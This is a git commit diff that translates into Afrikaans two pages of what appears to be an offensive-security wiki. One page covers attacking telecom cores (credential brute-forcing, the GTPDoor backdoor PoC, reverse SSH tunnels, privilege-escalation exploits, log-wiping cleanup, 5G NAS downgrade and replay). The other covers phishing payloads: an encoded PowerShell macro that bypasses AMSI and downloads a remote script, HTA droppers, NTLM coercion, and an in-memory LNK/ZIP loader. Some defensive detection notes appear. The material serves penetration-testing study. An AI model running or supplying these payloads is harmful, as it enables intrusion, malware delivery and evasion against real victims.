Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-09-07 22:17:07 +00:00
parent 1745a3b705
commit c5345938ba
3 changed files with 161 additions and 151 deletions

View File

@ -3,25 +3,25 @@
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Mobile-core protocols (GPRS Tunnelling Protocol GTP) dikwels traverse semi-trusted GRX/IPX roaming backbones. Omdat hulle op plain UDP loop met byna geen authentication nie, **enige foothold binne 'n telecom perimeter kan gewoonlik direk die core signalling planes bereik**. Die volgende notas versamel offensiewe truuks wat in die veld teen SGSN/GGSN, PGW/SGW en ander EPC-node waargeneem is.
> Mobiele kernprotokolle (GPRS Tunnelling Protocol GTP) gaan dikwels oor semi-vertroude GRX/IPX roaming-backbones. Omdat hulle op plain UDP met byna geen verifikasie ry nie, **enige foothold binne 'n telecom-perimeter kan gewoonlik direk die kern-seinvlakke bereik**. Die volgende notas versamel offensiewe truuks wat in die veld waargeneem is teen SGSN/GGSN, PGW/SGW en ander EPC-node.
## 1. Recon & Initial Access
### 1.1 Standaard OSS / NE Rekeninge
'n Verstommend groot stel vendor netwerkelemente word uitgereik met hard-gekodeerde SSH/Telnet gebruikers soos `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … 'n Gespesialiseerde wordlist verhoog brute-force sukses dramaties:
### 1.1 Default OSS / NE Accounts
'n Verrassend groot aantal verskaffer-netwerkelemente word met hard-coded SSH/Telnet gebruikers gestuur, soos `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … 'n Gespesialiseerde woordlys verhoog dramaties brute-force sukses:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
As die toestel slegs 'n management VRF blootstel, pivot eers deur 'n jump host (sien afdeling «SGSN Emu Tunnel» hieronder).
### 1.2 Host-ontdekking binne GRX/IPX
Die meeste GRX-operateurs laat steeds **ICMP echo** oor die backbone toe. Kombineer `masscan` met die ingeboude `gtpv1` UDP-probes om vinnig GTP-C listeners te karteer:
### 1.2 Gasheerontdekking binne GRX/IPX
Die meeste GRX-operateurs laat steeds **ICMP echo** oor die backbone toe. Kombineer `masscan` met die ingeboude `gtpv1` UDP probes om vinnig GTP-C listeners in kaart te bring:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Opsporing van intekenare `cordscan`
## 2. Enumerating Subscribers `cordscan`
Die volgende Go-tool skep **GTP-C Create PDP Context Request** pakkette en registreer die antwoorde. Elke antwoord openbaar die huidige **SGSN / MME** wat die bevraagde IMSI bedien en, soms, die intekenaar se besoekte PLMN.
Die volgende Go-hulpmiddel vervaardig **GTP-C Create PDP Context Request** pakkette en teken die antwoorde aan. Elke antwoord openbaar die huidige **SGSN / MME** wat die aangevraagde IMSI bedien en, soms, die abonnee se besoekte PLMN.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -29,22 +29,22 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Sleutelvlae:
Belangrike vlae:
- `--imsi` Teikenabonnee IMSI
- `--oper` Tuis / HNI (MCC+MNC)
- `-w` Skryf rou pakkette na pcap
- `--oper` Home / HNI (MCC+MNC)
- `-w` Skryf rou packets na pcap
Belangrike konstantes binne die binary kan gepatched word om skanderings te verbreed:
Belangrike konstantes binne die binary kan gepatch word om scans te verbreed:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Kodeuitvoering oor GTP `GTPDoor`
## 3. Kode-uitvoering oor GTP `GTPDoor`
`GTPDoor` is 'n klein ELFdiens wat **UDP 2123 bind en elke inkomende GTPCpakket ontleed**. Wanneer die payload begin met 'n vooraf gedeelde tag, word die res gedekripteer (AES-128-CBC) en uitgevoer via `/bin/sh -c`. Die stdout/stderr word exfiltrated binne **Echo Response** messages sodat geen uitgaande sessie ooit geskep word nie.
`GTPDoor` is 'n klein ELF-diens wat **binds UDP 2123 and parses every incoming GTP-C packet**. Wanneer die payload met 'n pre-shared tag begin, word die res ontsleuteld (AES-128-CBC) en uitgevoer via `/bin/sh -c`. Die stdout/stderr word exfiltrated binne **Echo Response** messages sodat geen uitgaande sessie ooit geskep word nie.
Minimale PoCpakket (Python):
Minimale PoC-pakket (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
@ -56,34 +56,34 @@ Opsporing:
* enige host wat **unbalanced Echo Requests** na SGSN IPs stuur
* GTP version flag op 1 gestel terwyl message type = 1 (Echo) afwyking van die spesifikasie
## 4. Pivoting Deur die Core
## 4. Pivoting Deur die Kern
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` lewer 'n SGSN emulator wat in staat is om **establish a PDP context towards a real GGSN/PGW**. Sodra dit onderhandel is, ontvang Linux 'n nuwe `tun0` interface wat vanaf die roaming peer bereikbaar is.
`OsmoGGSN` verskaf 'n SGSN-emulator wat in staat is om **establish a PDP context towards a real GGSN/PGW**. Sodra dit onderhandel is, ontvang Linux 'n nuwe `tun0` koppelvlak wat vanaf die roaming peer bereikbaar is.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Met behoorlike firewall hair-pinning omseil hierdie tonnel signalling-only VLANs en beland jy direk in die **datavlak**.
Met behoorlike firewall hair-pinning omseiling, omseil hierdie tonnel signalling-only VLANs en beland jy direk in die **data plane**.
### 4.2 SSH Reverse Tunnel over Port 53
DNS is byna altyd oop in roaming-infrastrukture. Maak 'n interne SSH-diens op jou VPS beskikbaar wat na :53 luister en keer later van die huis af terug:
DNS is byna altyd oop in roaming-infrastrukture. Maak 'n interne SSH-diens bloot op jou VPS wat luister op :53 en keer later van die huis terug:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Kontroleer dat `GatewayPorts yes` geaktiveer is op die VPS.
Kontroleer dat `GatewayPorts yes` op die VPS geaktiveer is.
## 5. Covert Channels
| Kanaal | Transport | Dekoding | Aantekeninge |
|--------|-----------|----------|-------------|
| Channel | Transport | Decoding | Notes |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | puur passiewe luisteraar, geen uitgaande verkeer |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) geënkodeer in A-record octets | kyk uit vir `*.nodep` sub-domein |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | meng met legitieme GTP-C verkeer |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | hou dop vir `*.nodep` subdomein |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | mengt met legitieme GTP-C-verkeer |
All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.
Alle implants implementeer watchdogs wat **timestomp** hul binaries en re-spawn as hulle crashed.
## 6. Defense Evasion Cheatsheet
```bash
@ -111,79 +111,79 @@ python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Skoonmaak wenk:
Skoonmaakwenk:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Gereedskap
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling described in previous sections.
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` aangepaste gereedskap soos in vorige afdelings beskryf.
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `Microsocks` + `ProxyChains` : liggewig SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. 5G NAS-registrasie-aanvalle: SUCI-lekke, afgradeer na EEA0/EIA0, en NAS-herspel
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Die 5G-registrasieprosedure loop oor NAS (Non-Access Stratum) bo-op NGAP. Tot NAS-sekuriteit geaktiveer word deur Security Mode Command/Complete, is aanvanklike boodskappe nie geverifieer of enkripteer nie. Hierdie pre-sekuriteitsvenster maak verskeie aanvalspaaie moontlik wanneer jy N2-verkeer kan waarneem of manipuleer (bv. on-path binne die core, rogue gNB, of testbed).
Die 5G-registrasieprosedure loop oor NAS (Non-Access Stratum) bo-op NGAP. Tot NAS-sekuriteit geaktiveer word deur Security Mode Command/Complete, is aanvanklike boodskappe nie geverifieer of geïnkripteer nie. Hierdie pre-sekuriteitsvenster maak verskeie aanvalspaaie moontlik wanneer jy N2-verkeer kan waarneem of manipuleer (bv., on-path binne die core, rogue gNB, of testbed).
Registrasiestroom (vereenvoudig):
Registrasie-vloei (vereenvoudig):
- Registration Request: UE stuur SUCI (geënkripteerde SUPI) en vermoëns.
- Authentication: AMF/AUSF stuur RAND/AUTN; UE stuur terug RES*.
- Security Mode Command/Complete: NAS-integriteit en kodering word onderhandel en geaktiveer.
- Authentication: AMF/AUSF stuur RAND/AUTN; UE stuur RES* terug.
- Security Mode Command/Complete: NAS-integriteit en -koderingsalgoritmes word onderhandeld en geaktiveer.
- PDU Session Establishment: IP/QoS opstelling.
Lab opstelling wenke (non-RF):
- Core: Open5GS se standaard-implementering is voldoende om vloei te reproduseer.
Laboratorium-opstellingswenke (non-RF):
- Core: Open5GS standaard implementering is voldoende om vloei te reproduceer.
- UE: simulator of toets-UE; dekodeer met Wireshark.
- Aktiewe gereedskap: 5GReplay (vang/wysig/herspeel NAS binne NGAP), Sni5Gect (snuffel/pleister/inspuit NAS op die vlug sonder om 'n volledige rogue gNB op te stel).
- Aktiewe gereedskap: 5GReplay (capture/modify/replay NAS binne NGAP), Sni5Gect (sniff/patch/inject NAS on the fly sonder om 'n volledige rogue gNB op te sit).
- Nuttige vertoonfilters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identiteitsprivaatheid: SUCI-foute wat SUPI/IMSI blootstel
Verwag: UE/USIM moet SUCI stuur (SUPI geënkripteer met die tuisnetwerk se publieke sleutel). Om 'n platte teks SUPI/IMSI in die Registration Request te vind dui 'n privaatheidsfout aan wat volgehoue abonnnee-opsporing moontlik maak.
Verwagting: UE/USIM moet SUCI stuur (SUPI geënkripteer met die home-network publieke sleutel). Om 'n plaintext SUPI/IMSI in die Registration Request te vind dui op 'n privaatheidsdefek wat volgehoue ontvangeropsporing moontlik maak.
Hoe om te toets:
- Vang die eerste NAS-berig in InitialUEMessage en ondersoek die Mobile Identity IE.
- Wireshark vinnige kontroles:
- Dit moet as SUCI dekodeer, nie IMSI nie.
- Filtervoorbeelde: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` should exist; absence plus presence of `imsi` indicates leakage.
- Capture die eerste NAS-boodskap in InitialUEMessage en inspekteer die Mobile Identity IE.
- Wireshark vinnige kontrole:
- Dit behoort as SUCI te dekodeer, nie as IMSI nie.
- Filtervoorbeelde: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` behoort te bestaan; afwesigheid tesame met die teenwoordigheid van `imsi` dui op 'n privaatheidsdefek.
Wat om te versamel:
- MCC/MNC/MSIN indien blootgestel; log per-UE en volg oor tyd/liggings.
- MCC/MNC/MSIN indien blootgestel; log per-UE en spoor oor tyd/liggings.
Mitigasie:
- Handhaaf SUCI-only UE/USIMs; waarsku by enige IMSI/SUPI in die aanvanklike NAS.
- Dwing SUCI-only UE/USIM af; stel alarms op vir enige IMSI/SUPI in die aanvanklike NAS.
### 9.2 Vermoë-afgradeer na nul-algoritmes (EEA0/EIA0)
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Agtergrond:
- UE adverteer ondersteunde EEA (enkripsie) en EIA (integriteit) in die UE Security Capability IE van die Registration Request.
- Algemene toewysings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 is nul-algoritmes.
- Algemene koppelings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 is nul-algoritmes.
Probleem:
- Omdat die Registration Request nie integriteitbeskerm is nie, kan 'n on-path aanvaller vermoë-bits uitvee om die keuse van EEA0/EIA0 later tydens Security Mode Command af te dwing. Sommige stacks laat verkeerdelik nul-algoritmes toe buite nooddienste.
- Omdat die Registration Request nie integriteitbeskerm is nie, kan 'n on-path aanvaller die vermoënbits uitvee om later tydens Security Mode Command die keuse van EEA0/EIA0 af te dwing. Sommige stacks laat ontereëlwis null-algoritmes toe buite nooddienste.
Aanvalsritte:
- Onderbreek InitialUEMessage en wysig die NAS UE Security Capability om slegs EEA0/EIA0 te adverteer.
- Met Sni5Gect, haak die NAS-berig en pleister die vermoë-bits voordat dit deurgestuur word.
- Waarnem of AMF nul-sifrering/integriteit aanvaar en Security Mode met EEA0/EIA0 voltooi.
Aanvallende stappe:
- Intercepteer InitialUEMessage en modifiseer die NAS UE Security Capability om slegs EEA0/EIA0 te adverteer.
- Met Sni5Gect, hook die NAS-boodskap en patch die capability-bits voordat dit verder gestuur word.
- Observeer of die AMF null ciphers/integriteit aanvaar en Security Mode met EEA0/EIA0 voltooi.
Verifikasie/sigbaarheid:
- In Wireshark, bevestig die gekose algoritmes na Security Mode Command/Complete.
Verifikasie/ sigbaarheid:
- In Wireshark, bevestig die geselekteerde algoritmes na Security Mode Command/Complete.
- Voorbeeld van passiewe sniffer-uitset:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Mitigasies (moet):
- Konfigureer AMF/policy om EEA0/EIA0 te weier, behalwe waar dit streng verpligtend is (bv., noodoprope).
- Verkies om EEA2/EIA2 ten minste af te dwing; registreer en waarsku oor enige NAS security context wat null-algoritmes onderhandel.
Mitigations (must):
- Konfigureer AMF/policy om EEA0/EIA0 te verwerp, behalwe waar dit strikt vereis word (bv., noodoproepe).
- Voorkeur om ten minste EEA2/EIA2 af te dwing; registreer en waarsku by enige NAS-sekuriteitskonteks wat nul-algoritmes onderhandel.
### 9.3 Replay of initial Registration Request (pre-security NAS)
Omdat die aanvanklike NAS nie integriteit en nuutheid het nie, kan vasgevang InitialUEMessage+Registration Request na die AMF herspeel word.
### 9.3 Herhaling van aanvanklike Registration Request (pre-security NAS)
Omdat die aanvanklike NAS integriteit en nuutheid ontbreek, kan 'n opgeneemde InitialUEMessage+Registration Request aan die AMF hergespeel word.
PoC rule for 5GReplay to forward matching replays:
```xml
@ -208,34 +208,34 @@ boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
Wat om waar te neem:
- Of AMF die replay aanvaar en voortgaan na verifikasie; gebrek aan vernuwing-/konteksvalidasie dui op blootstelling.
Wat om op te let:
- Of die AMF die replay aanvaar en na verifikasie voortgaan; 'n gebrek aan varsheid-/konteksvalidasie dui op blootstelling.
Mitigerings:
- Dwing herhalingsbeskerming/konteksbinding by AMF af; pas rate-limit toe en korreleer per-GNB/UE.
Mitigering:
- Handhaaf replay protection/context binding by die AMF; pas rate-limiting toe en korreleer per-GNB/UE.
### 9.4 Tooling pointers (reproducible)
- Open5GS: spin up an AMF/SMF/UPF om die core te emuleer; observe N2 (NGAP) en NAS.
- Wireshark: verifieer dekodes van NGAP/NAS; pas die filtere hierbo toe om Registration te isoleer.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: live sniff/modify/inject die NAS control-plane om null algorithms af te dwing of authentication-sekwense te versteur.
### 9.4 Gereedskapwenke (reproduceerbaar)
- Open5GS: start 'n AMF/SMF/UPF om die core te emuleer; monitor N2 (NGAP) en NAS.
- Wireshark: verifieer die dekodes van NGAP/NAS; pas die bogenoemde filters toe om Registration te isoleer.
- 5GReplay: vang 'n registration op, en replay dan spesifieke NGAP + NAS-boodskappe soos per die reël.
- Sni5Gect: live sniff/modify/inject NAS control-plane om null algorithms af te dwing of authentication sequences te versteur.
### 9.5 Verdedigende kontrolelys
- Continuously inspect Registration Request for plaintext SUPI/IMSI; blokkeer oortredende toestelle/USIMs.
- Reject EEA0/EIA0 behalwe vir nou omskrewe noodprosedures; vereis minstens EEA2/EIA2.
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
### 9.5 Verdedigingskontrolelys
- Inspekteer aanhoudend Registration Request vir plaintext SUPI/IMSI; blokkeer oortredende devices/USIMs.
- Weier EEA0/EIA0 behalwe vir nou omskryfde noodprosedures; vereis minstens EEA2/EIA2.
- Ontdek rogue of verkeerd gekonfigureerde infrastruktuur: ongemagtigde gNB/AMF, onverwagte N2 peers.
- Gee waarskuwings vir NAS security modes wat in null algorithms of gereelde replays van InitialUEMessage resulteer.
---
## Opsporingsidees
1. **Enige toestel anders as 'n SGSN/GGSN wat Create PDP Context Requests tot stand bring**.
2. **Nie-standaard poorte (53, 80, 443) wat SSH handshakes ontvang** van interne IPs.
1. **Enige toestel anders as 'n SGSN/GGSN wat Create PDP Context Requests opstel**.
2. **Nie-standaard poorte (53, 80, 443) wat SSH handshakes ontvang** van interne IP's.
3. **Gereelde Echo Requests sonder ooreenstemmende Echo Responses** kan op GTPDoor beacons dui.
4. **Hoë tempo van ICMP echo-reply verkeer met groot, nie-nul identifier/sequence velde**.
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** buite noodkontekste.
4. **Hoë koers van ICMP echo-reply verkeer met groot, nie-nul identifier/sequence velde**.
5. 5G: **InitialUEMessage wat NAS Registration Requests dra wat herhaal word vanaf identiese endpoints** (replay sein).
6. 5G: **NAS Security Mode wat EEA0/EIA0 onderhandel** buite noodkontekste.
## References
## Verwysings
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)

View File

@ -4,37 +4,37 @@
## Office Dokumente
Microsoft Word voer lêerdata-validering uit voordat 'n lêer oopgemaak word. Data-validering word uitgevoer in die vorm van identifisering van datastrukture, teen die OfficeOpenXML-standaard. As enige fout voorkom tydens die identifisering van die datastruktuur, sal die lêer wat ontleed word nie oopgemaak word nie.
Microsoft Word voer lêerdata-validasie uit voordat 'n lêer oopgemaak word. Datavalidasie word uitgevoer in die vorm van datastruktuur-identifikasie, teen die OfficeOpenXML-standaard. As enige fout voorkom tydens die datastruktuur-identifikasie, sal die lêer wat ontleed word nie oopgemaak word nie.
Gewoonlik gebruik Word-lêers wat macros bevat die `.docm`-uitbreiding. Dit is egter moontlik om die lêer te hernoem deur die lêeruitbreiding te verander en steeds die vermoë om macros uit te voer te behou.\
Byvoorbeeld, 'n RTF-lêer ondersteun nie macros nie, volgens ontwerp, maar 'n DOCM-lêer wat na RTF hernoem is, sal deur Microsoft Word hanteer word en sal in staat wees om macros uit te voer.\
Dieselfde interne strukture en meganismes geld vir alle sagteware van die Microsoft Office Suite (Excel, PowerPoint etc.).
Dikwels gebruik Word-lêers wat macros bevat die `.docm`-uitbreiding. Dit is egter moontlik om die lêer te hernoem deur die lêeruitbreiding te verander en steeds hul vermoë om macros uit te voer te behou.\
Byvoorbeeld, 'n RTF-lêer ondersteun nie macros nie, per ontwerp, maar 'n DOCM-lêer wat na RTF hernoem is, sal deur Microsoft Word hanteer word en in staat wees om macros uit te voer.\
Dieselfde interne strukture en meganismes geld vir alle sagteware van die Microsoft Office Suite (Excel, PowerPoint ens.).
Jy kan die volgende opdrag gebruik om te kontroleer watter uitbreidings deur sekere Office-programme uitgevoer gaan word:
Jy kan die volgende kommando gebruik om te kontroleer watter uitbreidings deur sommige Office-programme uitgevoer gaan word:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX-lêers wat na 'n afgeleë sjabloon verwys (File Options Add-ins Manage: Templates Go) wat macros bevat, kan ook macros “execute”.
DOCX-lêers wat na n afgeleë sjabloon verwys (File Options Add-ins Manage: Templates Go) wat macros bevat, kan ook macros “execute”.
### Eksterne Beeldlading
### Eksterne prentlading
Gaan na: _Insert --> Quick Parts --> Field_\
_**Categories**: Links and References, **Filed names**: includePicture, en **Filename or URL**:_ http://<ip>/whatever
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### Macros Backdoor
Dit is moontlik om macros te gebruik om arbitrêre code vanaf die dokument uit te voer.
Dit is moontlik om macros te gebruik om arbitrêre kode vanaf die dokument uit te voer.
#### Autoload-funksies
#### Autoload funksies
Hoe algemener dit is, hoe meer waarskynlik is dit dat AV dit sal opspoor.
Hoe meer algemeen dit is, hoe groter die kans dat die AV dit sal opspoor.
- AutoOpen()
- Document_Open()
#### Macros Code Examples
#### Macros Kode Voorbeelde
```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -64,16 +64,16 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
```
#### Verwyder metadata handmatig
#### Manually remove metadata
Gaan na **File > Info > Inspect Document > Inspect Document**, wat die Document Inspector oopmaak. Klik **Inspect** en dan **Remove All** langs **Document Properties and Personal Information**.
#### Doc Extension
Wanneer klaar, kies die **Save as type** dropdown, verander die formaat van **`.docx`** na **Word 97-2003 `.doc`**.\
Doen dit omdat jy **nie makro's binne 'n `.docx` kan stoor nie** en daar 'n **stigma** bestaan rondom die makro-geaktiveerde **`.docm`** uitbreiding (bv. die miniatuur-ikoon het 'n groot `!` en sommige web-/e-pos-hekke blokkeer hulle heeltemal). Daarom is hierdie **erfenis `.doc` uitbreiding die beste kompromis**.
Wanneer jy klaar is, kies die **Save as type**-afrolmenu, verander die formaat van **`.docx`** na **Word 97-2003 `.doc`**.\
Doen dit omdat jy **nie macro's in ` .docx` kan stoor nie** en daar 'n **stigma** is **rondom** die macro-aktiwiteite **`.docm`** uitbreiding (bv. die duimnael-ikoon het 'n groot `!` en sommige web/e-pos-gateways blokkeer dit heeltemal). Daarom is hierdie **erfenis `.doc` uitbreiding die beste kompromie**.
#### Malicious Macros Generators
#### Kwaadaardige Macro Generators
- MacOS
- [**macphish**](https://github.com/cldrn/macphish)
@ -81,9 +81,9 @@ Doen dit omdat jy **nie makro's binne 'n `.docx` kan stoor nie** en daar 'n **st
## HTA Files
An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. It generates the user interface and executes as a "fully trusted" application, without the constraints of a browser's security model.
'n HTA is 'n Windows-program wat **HTML en skriptaal tale kombineer (soos VBScript en JScript)**. Dit genereer die gebruikerskoppelvlak en word uitgevoer as 'n "fully trusted" toepassing, sonder die beperkings van 'n blaaier se sekuriteitsmodel.
An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**. So if it has been uninstalled, HTAs will be unable to execute.
'n HTA word uitgevoer met **`mshta.exe`**, wat gewoonlik **geïnstalleer** is saam met **Internet Explorer**, wat **`mshta` afhanklik van IE** maak. As dit dus verwyder is, sal HTA's nie uitgevoer kan word nie.
```html
<--! Basic HTA Execution -->
<html>
@ -138,9 +138,9 @@ var_func
self.close
</script>
```
## Afdwing van NTLM Authentication
## Dwing NTLM-outentisering
Daar is verskeie maniere om **NTLM authentication "op afstand" af te dwing**, byvoorbeeld jy kan **onsigbare beelde** by e-posse of HTML voeg wat die gebruiker sal toegang (selfs HTTP MitM?). Of stuur die slagoffer die **adres van lêers** wat 'n **authentication** sal **trigger** net deur **die gids te open.**
Daar is verskeie maniere om **NTLM-outentisering "op afstand"** af te dwing, byvoorbeeld, jy kan **onsigbare beelde** in e-posse of HTML voeg wat die gebruiker sal toegang (selfs HTTP MitM?). Of stuur die slagoffer die **adres van lêers** wat sal **trigger** 'n **outentisering** net vir **die opening van die gids.**
**Kyk na hierdie idees en meer op die volgende bladsye:**
@ -156,24 +156,24 @@ Daar is verskeie maniere om **NTLM authentication "op afstand" af te dwing**, by
### NTLM Relay
Moet nie vergeet dat jy nie net die hash of die authentication kan steel nie, maar ook **perform NTLM relay attacks**:
Moet nie vergeet dat jy nie net die hash of die outentisering kan steel nie, maar ook **NTLM relay attacks** kan uitvoer:
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Baie doeltreffende veldtogte lewer 'n ZIP wat twee legitieme skyn-dokumente (PDF/DOCX) en 'n kwaadwillige .lnk bevat. Die truuk is dat die werklike PowerShell loader in die rou bytes van die ZIP gestoor word na 'n unieke merk, en die .lnk kerf dit uit en hardloop dit heeltemal in geheue.
Baie effektiewe veldtogte lewer 'n ZIP wat twee legitieme lokaas-dokumente (PDF/DOCX) en 'n kwaadwillige .lnk bevat. Die truuk is dat die werklike PowerShell loader binne die ZIP se ruwe bytes ná 'n unieke merker gestoor is, en die .lnk dit uitkerf en heeltemal in geheue uitvoer.
Tipiese vloei geïmplementeer deur die .lnk PowerShell one-liner:
1) Vind die oorspronklike ZIP in algemene paaie: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, en die ouergids van die huidige werkgids.
2) Lees die ZIP-bytes en vind 'n hardgekodeerde merk (bv. xFIQCV). Alles ná die merk is die ingeslote PowerShell payload.
3) Kopieer die ZIP na %ProgramData%, pak dit daar uit, en open die skyn-.docx om legitimiteit te skep.
4) Omseil AMSI vir die huidige proses: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) Deobfuscate die volgende stage (bv. verwyder alle # karakters) en voer dit in geheue uit.
1) Vind die oorspronklike ZIP in algemene paaie: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, en die ouer van die huidige working directory.
2) Lees die ZIP-bytes en vind 'n hardcoded merker (bv. xFIQCV). Alles na die merker is die ingeslote PowerShell payload.
3) Kopieer die ZIP na %ProgramData%, pak dit daar uit, en maak die lokaas .docx oop om legitiem te lyk.
4) Om AMSI vir die huidige proses te omseil: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) Deobfuskeer die volgende fase (bv. verwyder alle # karakters) en voer dit in geheue uit.
Example PowerShell skeleton to carve and run the embedded stage:
Voorbeeld PowerShell-skelet om die ingeslote fase uit te kerf en uit te voer:
```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
@ -191,21 +191,30 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
Invoke-Expression $code
```
Aantekeninge
- Aflewering misbruik dikwels betroubare PaaS-subdomeine (e.g., *.herokuapp.com) en kan payloads beperk (bedien onskadelike ZIP-lêers gebaseer op IP/UA).
- Die volgende fase ontsleutel dikwels base64/XOR shellcode en voer dit uit via Reflection.Emit + VirtualAlloc om skyfartefakte te minimaliseer.
- Aflewering misbruik dikwels betroubare PaaS-subdomeine (bv. *.herokuapp.com) en kan payloads beperk (bedien goedaardige ZIPs op grond van IP/UA).
- Die volgende fase dekripteer dikwels base64/XOR-shellcode en voer dit uit via Reflection.Emit + VirtualAlloc om skyfartefakte te minimaliseer.
Persistensie wat in dieselfde ketting gebruik word
- COM TypeLib hijacking of the Microsoft Web Browser control sodat IE/Explorer of enige app wat dit embed die payload outomaties herbegin. Sien besonderhede en gereed-vir-gebruik opdragte hier:
